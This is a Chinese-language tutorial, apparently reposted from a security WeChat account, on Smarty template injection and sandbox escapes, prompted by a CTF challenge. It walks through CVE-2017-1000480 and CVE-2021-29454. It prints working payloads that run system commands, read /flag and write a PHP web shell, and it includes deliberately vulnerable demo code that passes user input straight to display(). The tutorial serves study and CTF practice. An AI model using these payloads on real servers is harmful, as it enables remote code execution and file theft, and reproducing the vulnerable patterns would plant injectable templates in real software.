Smarty 模板是基于 PHP 开发的模板,我们可以利用 Smarty 实现程序逻辑与页面显示(HTML/CSS)代码分离的功能。
模板引擎中花哨的功能导致了模板注入的出现,也就是SSTI。但是在谈及 SSTI 的时候,大家往往还是会去重点关注 python 语言下的 flask 模板,而一些其他语言、其他模板的相关资料反而非常稀缺,这里也是根据红明谷杯的一道题目发现的,我系统学习了 Smarty 的模板注入并进行了总结。
https://www.smarty.net/about_smarty
在模板注入中,我们所利用的都是模板中提供的功能,或者模板中某些功能的漏洞,这就要求我们需要对文档中的有效内容有较高的搜集能力与判断能力。
写个 demo 来进行测试,具体扔到我的项目里了
demo 中具体产生漏洞的就是下面这里的代码:
$smarty->display("string:" . $name);
属于是完全信任用户的输入的模板利用方式了,这里用来测试各种攻击方式。
在模板注入中我们进行攻击的方式所依赖的是模板引擎中的各种标签,标签为了实现功能,很多时候会进行命令执行等操作,有时一些正常的功能也会被恶意利用而导致一系列的问题,下面就来总结一下常用的标签。
{$smarty.version}
${smarty.template}
获取类的静态方法
我们可以通过 self 标签来获取 Smarty 类的静态方法,比如我们可以获取 getStreamVariable 方法来读文件
public function getStreamVariable($variable)
{
$_result = '';
$fp = fopen($variable, 'r+');
if ($fp) {
while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
$_result .= $current_line;
}
fclose($fp);
return $_result;
}
$smarty = isset($this->smarty) ? $this->smarty : $this;
if ($smarty->error_unassigned) {
throw new SmartyException('Undefined stream variable "' . $variable . '"');
} else {
return null;
}
}
不过这种利用方式只存在于旧版本中,而且在 3.1.30 的 Smarty 版本中官方已经将 getStreamVariable 静态方法删除。
其他的一些类中的方法也是一样,会受到版本的限制,比如 writeFile 方法等也是同理,在高版本下同样不能使用。
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{literal} 标签
在 PHP5 环境下存在一种 PHP 标签, <scriptlanguage="php"></script>,我们便可以利用这一标签进行任意的 PHP 代码执行。
{literal}alert('xss');{/literal}
{if} 标签
Smarty 的 {if} 条件判断和 PHP 的 if 非常相似,只是增加了一些特性。每个 {if} 必须有一个配对的 {/if},也可以使用 {else} 和 {elseif} ,全部的PHP条件表达式和函数都可以在 {if} 标签中使用。
{if phpinfo()}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}
etc.
{php} 标签
Smarty3 官方手册中明确表示已经废弃 {php} 标签,不建议使用。在 Smarty3.1, {php} 仅在 SmartyBC 中可用。
通常情况下我们包含的是上面的 Smarty.class.php
例子:
{php}echo `id`;{/php}
{ } 直接执行
利用 {} 包裹的情况下我们也可以直接执行 php 的函数
CVE-2017-1000480
<?php
define('HOST_DIR', __DIR__ . '/../');
define('SMARTY_LIBS', HOST_DIR . '/vendor/smarty/libs/Smarty.class.php');
define('SMARTY_COMPILE_DIR', HOST_DIR . 'app/templates_c');
define('SMARTY_CACHE_DIR', HOST_DIR . 'app/cache');
require_once(SMARTY_LIBS);
class testSmarty extendsSmarty_Resource_Custom
{
protectedfunction fetch($name, &$source, &$mtime)
{
$template = "CVE-2017-1000480 smarty PHP code injection";
$source = $template;
$mtime = time();
}
}
$smarty = newSmarty();
$smarty->registerResource('test', new testSmarty);
$smarty->display('test:'.$_GET['eval']);
?>
具体分析:
我们只传入了一个参数也就是说我们传入给 display 的参数就是这里的 $template,跟进 _execute()
我们传入的显然进入了最后的 else,可以看到我们调用 createTemplate() 创建了模板,这里返回的 $template 是一个 SmartyInternalTemplate 对象
可以看到这里的 $this->process($_template);调用,
跟进这里的 $this->compileTemplateSource($_smarty_tpl)
可以看到这里的 $this->write($_template,$_template->compiler->compileTemplate($_template)) 调用,就在下面
可以看到我们生成了 php 文件,生成文件的内容在 smarty_internal_runtime_codeframe 类中的 create 决定,我们可以从 $this->write($_template,$_template->compiler->compileTemplate($_template)) 中的 compileTemplate 跟进到
文件中有一部分注释内容,我们可以左右闭合,将我们的 php 代码插入到里面
eval("?>".file_get_contents($this->filepath)) 相当于一个远程文件包含,这里调用了 include ,我们之前写入缓存的php文件也就被包含进而执行了
CVE-2021-29454
"('exp'[0].'exp'[1].'exp'[0].'cos'[0])"
这里涉及到了 PHP 对进制的识别的机制,比如 120这种格式就会被默认的识别为八进制,我们这里就是利用了数字和 都存在的情况下对八进制的解析构造了任意的字符串
而 x70 就会被默认识别为十六进制
在其中用类似白名单的方式将数学函数写进了数组,只允许这些方法通过,同时还严格过滤了 $,以及反引号
包括十六进制的格式,后面的 [a-zA-Z_x7f-xff][a-zA-Z0-9_x7f-xff]* 表示的是PHP 中的变量,根据变量的命名规则,一个有效的变量名由字母或者下划线开头,后面跟上任意数量的字母,数字,或者下划线。按照正常的正则表达式它被写成上面这个样子。
<?php
include_once('../vendor/smarty/libs/Smarty.class.php');
$smarty = newSmarty();
$smarty->enableSecurity();
$smarty->display($_GET['poc']);
<?php
require'Smarty.class.php';
$smarty = newSmarty();
$my_security_policy = newSmarty_Security($smarty);
// disable all PHP functions
$my_security_policy->php_functions = null;
// remove PHP tags
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
// allow everthing as modifier
$my_security_policy->$modifiers = array();
// enable security
$smarty->enableSecurity($my_security_policy);
?>
<?php
include_once('../vendor/smarty/libs/Smarty.class.php');
$smarty = newSmarty();
$my_security_policy = newSmarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
$smarty->display($_GET['poc']);
string:{function+name='rce(){};system("id");function+'}{/function}
{functionname='test'}{/function} ,可以看到生成的缓存文件如下
string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}
这里的这个 Payload 所使用的正是我们一开始所说的类的静态方法,是对调用类中静态方法的一种绕过。静态方法中的参数不再使用 self 标签,而是使用了 $smarty.template_object->smarty 和 $smarty.template_object->compiled->filepath 两处调用。
https://www.smarty.net/about_smarty
HackTricks
https://www.anquanke.com/post/id/235505#h3-4
https://srcincite.io/blog/2021/02/18/smarty-template-engine-multiple-sandbox-escape-vulnerabilities.html
https://chybeta.github.io/2018/01/23/CVE-2017-1000480-Smarty-3-1-32-php%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://blog.csdn.net/qq_45521281/article/details/107556915
https://xz.aliyun.com/t/11085
https://www.cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti
原文始发于微信公众号(长亭安全课堂):Smarty 模板注入与沙箱逃逸
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论